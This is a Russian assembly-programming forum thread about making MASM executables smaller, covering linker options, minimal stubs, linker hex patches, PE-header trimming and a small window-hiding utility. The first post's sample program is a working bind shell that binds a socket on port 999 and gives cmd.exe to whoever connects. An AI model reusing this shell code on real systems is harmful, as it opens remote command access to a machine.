Уменьшение размера в МАСМ

Тема в разделе "WASM.ASSEMBLER", создана пользователем Caesarus, 9 дек 2004.

  1. koderr

    koderr New Member

    Публикаций:
    0
    Регистрация:
    29 сен 2006
    Сообщения:
    205
    slackhead
    Код (Text):
    1. .386   
    2. .model flat,stdcall
    3. option casemap: none
    4.  
    5. include windows.inc
    6.  
    7. include kernel32.inc
    8. includelib kernel32.lib
    9. include ws2_32.inc
    10. includelib ws2_32.lib
    11.  
    12. include macros.asm
    13.  
    14. .code
    15. szCmd db 'cmd.exe',0
    16.  
    17. start proc
    18. local wsa:WSADATA
    19. local sa:sockaddr_in
    20. local sattr:SECURITY_ATTRIBUTES
    21. local startup:STARTUPINFO
    22. local pi:PROCESS_INFORMATION
    23. local overlapped:OVERLAPPED
    24. local hSock:DWORD
    25. local StdInRead:DWORD
    26. local StdInWrite:DWORD
    27. local StdOutRead:DWORD
    28. local StdOutWrite:DWORD
    29. local buf[10]:BYTE
    30.  
    31.     push edi
    32.     lea edi, buf
    33.     xor eax, eax
    34.     mov ecx, 10 + 4*5 + sizeof OVERLAPPED + sizeof PROCESS_INFORMATION + sizeof STARTUPINFO + sizeof SECURITY_ATTRIBUTES + sizeof sockaddr_in
    35.     mov edx, ecx
    36.     and ecx, -4
    37.     sub edx, ecx
    38.     rep stosd
    39.     mov ecx, edx
    40.     rep stosb
    41.     pop edi
    42.     invoke WSAStartup,202h, addr wsa
    43.     mov sa.sin_family,AF_INET
    44.     invoke htons,999
    45.     mov sa.sin_port,ax
    46.     invoke htonl,7f000001h
    47.     mov sa.sin_addr,eax
    48.     xor eax, eax
    49.     invoke WSASocket,AF_INET,SOCK_STREAM,eax,eax,eax,eax
    50.     ;invoke socket,AF_INET,SOCK_STREAM,IPPROTO_TCP
    51.     mov esi,eax
    52.     invoke bind,esi,addr sa,sizeof sockaddr_in
    53.     invoke listen,esi,1
    54.     mov eax,sizeof sa
    55.     lea edi,hSock
    56.     mov [edi],eax
    57.     invoke accept,esi,addr sa,addr hSock
    58.     mov hSock,eax
    59.  
    60.     ;invoke CreatePipe,addr StdInRead,addr StdOutWrite,0,0
    61.     ;invoke CreatePipe,addr
    62.     mov ecx, hSock
    63.     xor eax, eax
    64.     lea edx, startup
    65.     assume edx: ptr STARTUPINFO
    66.     mov [edx].cb,sizeof startup
    67.     mov [edx].wShowWindow,ax
    68.     mov [edx].dwFlags,STARTF_USESTDHANDLES+STARTF_USESHOWWINDOW
    69.     mov [edx].hStdInput,ecx
    70.     mov [edx].hStdOutput,ecx
    71.     mov [edx].hStdError,ecx
    72.     assume edx: nothing
    73.     lea ecx, sattr
    74.     assume ecx: ptr SECURITY_ATTRIBUTES
    75.     mov [ecx].nLength,sizeof SECURITY_ATTRIBUTES
    76.     mov [ecx].lpSecurityDescriptor,eax
    77.     mov [ecx].bInheritHandle,TRUE
    78.     assume ecx: nothing
    79.     invoke CreateProcess,0,offset szCmd,ecx,ecx,TRUE,NORMAL_PRIORITY_CLASS,0,0,edx,addr pi
    80.     invoke CloseHandle, pi.hProcess
    81.     invoke CloseHandle, pi.hThread
    82.     invoke closesocket,hSock
    83.     invoke closesocket,esi
    84.     invoke WSACleanup
    85.    
    86.     ret
    87. start endp
    88.  
    89. end start
    ключи ликера:
    /SUBSYSTEM:WINDOWS /RELEASE /VERSION:4.0 /MERGE:.rdata=.text /STUB:d:\projects\dan\stub.exe /ALIGN:16 /IGNORE:4108

    stub:
    4D5A0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

    итого 1072 байта.
     
  2. asmfan

    asmfan New Member

    Публикаций:
    0
    Регистрация:
    10 июл 2006
    Сообщения:
    1.004
    Адрес:
    Abaddon
    masm в топку! вива fasm!
     
  3. koderr

    koderr New Member

    Публикаций:
    0
    Регистрация:
    29 сен 2006
    Сообщения:
    205
    В топку ответы не по теме.
     
  4. Quantum

    Quantum Паладин дзена

    Публикаций:
    0
    Регистрация:
    6 янв 2003
    Сообщения:
    3.143
    Адрес:
    Ukraine
  5. koderr

    koderr New Member

    Публикаций:
    0
    Регистрация:
    29 сен 2006
    Сообщения:
    205
    Quantum
    Да я знаю, просто не думаю, что кто-то в ДОСе будет это запускать.
     
  6. koderr

    koderr New Member

    Публикаций:
    0
    Регистрация:
    29 сен 2006
    Сообщения:
    205
    Quantum
    Сейчас во многих упаковщиках в этот stub чего только не насуют... Там он тем более нерабочий.
     
  7. Asterix

    Asterix New Member

    Публикаций:
    0
    Регистрация:
    25 фев 2003
    Сообщения:
    3.576
    koderr
    а с секцией ресурсов слабо в 2Кб уложиться на масме? ;)
     
  8. slackhead

    slackhead New Member

    Публикаций:
    0
    Регистрация:
    29 янв 2007
    Сообщения:
    66
    koderr nice ;) точно, что то никто не подумал о том чтобы разместить данные в стеке и тем самым схалтурить на секции неинициализированных данных..
    Quantum
    мало что из этого всего понял.. что заначит _text (IAT), вообще то я знаю что и IAT - import address table, но она ведь в секции .rdata? _idata - там например вообще нету такой секции.. вообщем, откуда такие глубокие познания как именно линкер работает с секциями или где об этом мона прочитать?
    ещё вопрос, так как сам я его не догнал..
    /ALIGN - это: msdn
    Код (Text):
    1. The /ALIGN option specifies the alignment of each section within the linear address space of the program. The number argument is in bytes and must be a power of two. The default is 4K (4096).
    т.е. выравнивание по которому секция грузится в память? если так то как этот параметр влияет на размер файла?
    про /FILEALIGN молчит и мсдн и сам link.exe /?, насколько я понял то это выравнивание секций (и их размера) в файле?
     
  9. koderr

    koderr New Member

    Публикаций:
    0
    Регистрация:
    29 сен 2006
    Сообщения:
    205
    Asterix
    А нафига они нужны, диалоги там хранить что ли? или строки?
     
  10. koderr

    koderr New Member

    Публикаций:
    0
    Регистрация:
    29 сен 2006
    Сообщения:
    205
    Воть, диалог в 1 Кб. Не нужны мне ваши ресурсы! (если тока иконка не понадобится)
     
  11. slackhead

    slackhead New Member

    Публикаций:
    0
    Регистрация:
    29 янв 2007
    Сообщения:
    66
    koderr какие-то глюки .. на качаються атачи
     
  12. Quantum

    Quantum Паладин дзена

    Публикаций:
    0
    Регистрация:
    6 янв 2003
    Сообщения:
    3.143
    Адрес:
    Ukraine
    slackhead
    Стек далеко не резиновый, чтоб в общем случае в нём можно было хранить неинициализированные данные, а .DATA? - резиновая и, если правильно совместить её с какой-нибудь секцией инициализированных данных, на размере экзешника её присутствие не отразится.

    Импорт в обьектнике состоит из нескольких сегментов: _text, _idata$4, _idata$5 и _idata$6. По умолчанию это всё потом попадает в одну секцию - idata, но т.к. имеет место /MERGE, сегменты комбинируются в произвольном порядке и _text попадает в самое начало, а 3 других - в конец. Почему в импорте есть сегмент кода? - Потому что thunk'и, из которых в частности состоит импорт, являются функциями-переходниками и их трудно обозвать данными :) Таблицы переходов, имена библиотек и импортитуемых символов хранятся по отдельности в сегментах _idata$x чтобы линкер мог из всей этой каши микросегментов собрать потом полноценную директорию импорта.

    Не надо путать сегменты и секции. В экзешнике сегментов уже нет, т.к. из них линкер строит секции. Сегменты можно пощупать только в обьектнике.

    Неужели я ещё не давал ссылку на документацию по PE формату?!
    http://www.wasm.ru/comment.php?docid=6
     
  13. koderr

    koderr New Member

    Публикаций:
    0
    Регистрация:
    29 сен 2006
    Сообщения:
    205
    slackhead
    А у мня давно они :) Попробуй не браузером, а качалкой скачать (о как). Либо выложу просто в base64 по привычке :)))
     
  14. Mikl_

    Mikl_ New Member

    Публикаций:
    0
    Регистрация:
    14 ноя 2006
    Сообщения:
    907
    Объявляю функцию так
    Код (Text):
    1. extern _imp__MessageBoxA@16:dword
    2. ...
    3. call _imp__MessageBoxA@16
    1)Уменьшаю stub-файл до минимума в 4 байта
    2)использую линковщик PoLink.exe от Pelle Orinius версии 4.00.2 из 8 версии masm32
    уменьшаю выравнивание файла до 4 байт /ALIGN:4 для чего правлю PoLink.exe
    00007CD0: 08 -> 04
    00007CE1: 08 -> 04
    00007F7A: 73 -> EB
    0000B57C: 38 -> DC
    0000B57D: 01 -> 00
    0000F4EB: 14 -> 15
    3)в PE–заголовке за полем LoaderFlags находится поле NumberOfRvaAndSize, которое определяет число элементов в массиве структур IMAGE_DATA_DIRECTORY, которое начнется вслед за этим полем. Число этих полей 16. Уменьшим число этих полей до 4 (хотя нам, на самом деле, необходима только секция импорта, но в дальнейшем потребуется секция ресурсов)
    000073BA: E0 -> 80
    000073CD: E0 -> 80
    000073DA: E0 -> 80
    000074D0: 10 -> 04
    0000B57C: DC -> 94
    Правда такие программы под Win98 не запустятся
     
  15. ECk

    ECk Member

    Публикаций:
    0
    Регистрация:
    9 апр 2004
    Сообщения:
    454
    Адрес:
    Russia
    Выравнивание можно и 32 байта ставить - работает под всем, кроме 98 (/ALIGN:0x20)
     
  16. Mikl_

    Mikl_ New Member

    Публикаций:
    0
    Регистрация:
    14 ноя 2006
    Сообщения:
    907
    ECk
    Выравнивание в 4 байта поставлено, чтобы stub занял 4 байта, смещение от начала файла 3Ch, где расположено смещение PE-заголовка, попадает на поле, содержащее значение FileAlign. Без доработки линковщик не дает делать выравнивание меньше 16 байт.
     
  17. Mikl_

    Mikl_ New Member

    Публикаций:
    0
    Регистрация:
    14 ноя 2006
    Сообщения:
    907
    А вот твой же диалог в 738 байт. А можешь добавить меню не используя CreatePopupMenu, CreateMenu, AppendMenuA и пр. а только через DialogTemplate?
     
  18. koderr

    koderr New Member

    Публикаций:
    0
    Регистрация:
    29 сен 2006
    Сообщения:
    205
    Mikl_
    Грязно мухлюешь :).
    Вот только под Win98 не работает ни то, ни это :).

    Насчет меню подумаю.
     
  19. Mikl_

    Mikl_ New Member

    Публикаций:
    0
    Регистрация:
    14 ноя 2006
    Сообщения:
    907
    koderr
    Я так и писал под WinXP. Кстати твой apphider по Ctrl+Alt+H не прячется. Можешь выложить исходник? Заранее спасибо...
     
  20. koderr

    koderr New Member

    Публикаций:
    0
    Регистрация:
    29 сен 2006
    Сообщения:
    205
    Mikl_
    Он сам себя проверяет, чтоб не прятать.

    воть код:
    Код (Text):
    1. .386
    2. .model flat, stdcall
    3. option casemap: none
    4.  
    5. include windows.inc
    6. include mymacros.asm
    7. use user32
    8. use kernel32
    9.  
    10. assume fs: nothing
    11.  
    12. .code
    13. hDlgTemplate:
    14.  
    15. db  01h, 00h, 0FFh, 0FFh, 00h,  00h, 00h, 00h,  80h,  00h,  00h,  00h, 0C2h,  08h, 0C8h, 10h,
    16.     01h, 00h,  00h,  00h, 00h,  00h, 70h, 00h,  12h,  00h,  00h,  00h,  00h,  00h,  41h, 00h,
    17.     70h, 00h,  70h,  00h, 48h,  00h, 69h, 00h,  64h,  00h,  65h,  00h,  72h,  00h,  00h, 00h
    18. db  08h, 00h,  00h,  00h, 00h, 0CCh, 54h, 00h,  61h,  00h,  68h,  00h,  6Fh,  00h,  6Dh, 00h,
    19.     61h, 00h,  00h,  00h, 00h,  00h, 00h, 00h,  00h,  00h,  00h,  00h,  01h,  10h,  00h, 50h,
    20.     00h, 00h,  00h,  00h, 70h,  00h, 12h, 00h, 0FFh, 0FFh, 0FFh, 0FFh, 0FFh, 0FFh,  82h, 00h
    21. db  43h, 00h,  74h,  00h, 72h,  00h, 6Ch, 00h,  2Bh,  00h,  41h,  00h,  6Ch,  00h,  74h, 00h,
    22.     2Bh, 00h,  48h,  00h, 20h,  00h, 68h, 00h,  69h,  00h,  64h,  00h,  65h,  00h,  73h, 00h,
    23.     20h, 00h,  61h,  00h, 63h,  00h, 74h, 00h,  69h,  00h,  76h,  00h,  65h,  00h,  20h, 00h
    24. db  77h, 00h,  69h,  00h, 6Eh,  00h, 64h, 00h,  6Fh,  00h,  77h,  00h,  2Eh,  00h,  20h, 00h,
    25.     41h, 00h,  70h,  00h, 70h,  00h, 48h, 00h,  69h,  00h,  64h,  00h,  65h,  00h,  72h, 00h,
    26.     20h, 00h, 0A9h,  00h, 20h,  00h, 6Bh, 00h,  6Fh,  00h,  64h,  00h,  65h,  00h,  72h, 00h
    27. db  72h, 00h,  2Ch,  00h, 20h,  00h, 32h, 00h,  30h,  00h,  30h,  00h,  35h,  00h,  00h, 00h
    28.  
    29. MainWndProc proc uses esi hWnd:DWORD, uMsg:DWORD, wParam:DWORD, lParam:DWORD
    30.  
    31.     mov eax, uMsg
    32.     mov esi, hWnd
    33.     cmp eax, WM_HOTKEY
    34.     jnz next1
    35.         .if wParam == 0DEADC0DEh
    36.             invoke GetForegroundWindow
    37.             .if esi != eax
    38.                 invoke ShowWindow, eax, SW_HIDE
    39.             .endif
    40.         .endif
    41.     jmp @end
    42. next1:
    43.     cmp eax, WM_INITDIALOG
    44.     jnz next2
    45.         invoke RegisterHotKey, esi, 0DEADC0DEh, MOD_ALT + MOD_CONTROL, VK_H
    46.         jmp @ret
    47. next2:
    48.     cmp eax, WM_CLOSE
    49.     jnz @end
    50.         invoke UnregisterHotKey, esi, 0DEADC0DEh
    51.         invoke EndDialog, esi, 0
    52. @end:
    53.     xor eax, eax
    54. @ret:
    55.     ret
    56. MainWndProc endp
    57.  
    58. start:
    59. ;   mov eax, dword ptr fs:[18h]
    60. ;   mov eax, [eax + 30h]
    61. ;   mov eax, [eax + 8h]
    62.     invoke GetModuleHandle, 0
    63.     invoke DialogBoxIndirectParam, eax, hDlgTemplate, NULL, offset MainWndProc, 0
    64.     ret
    65. end start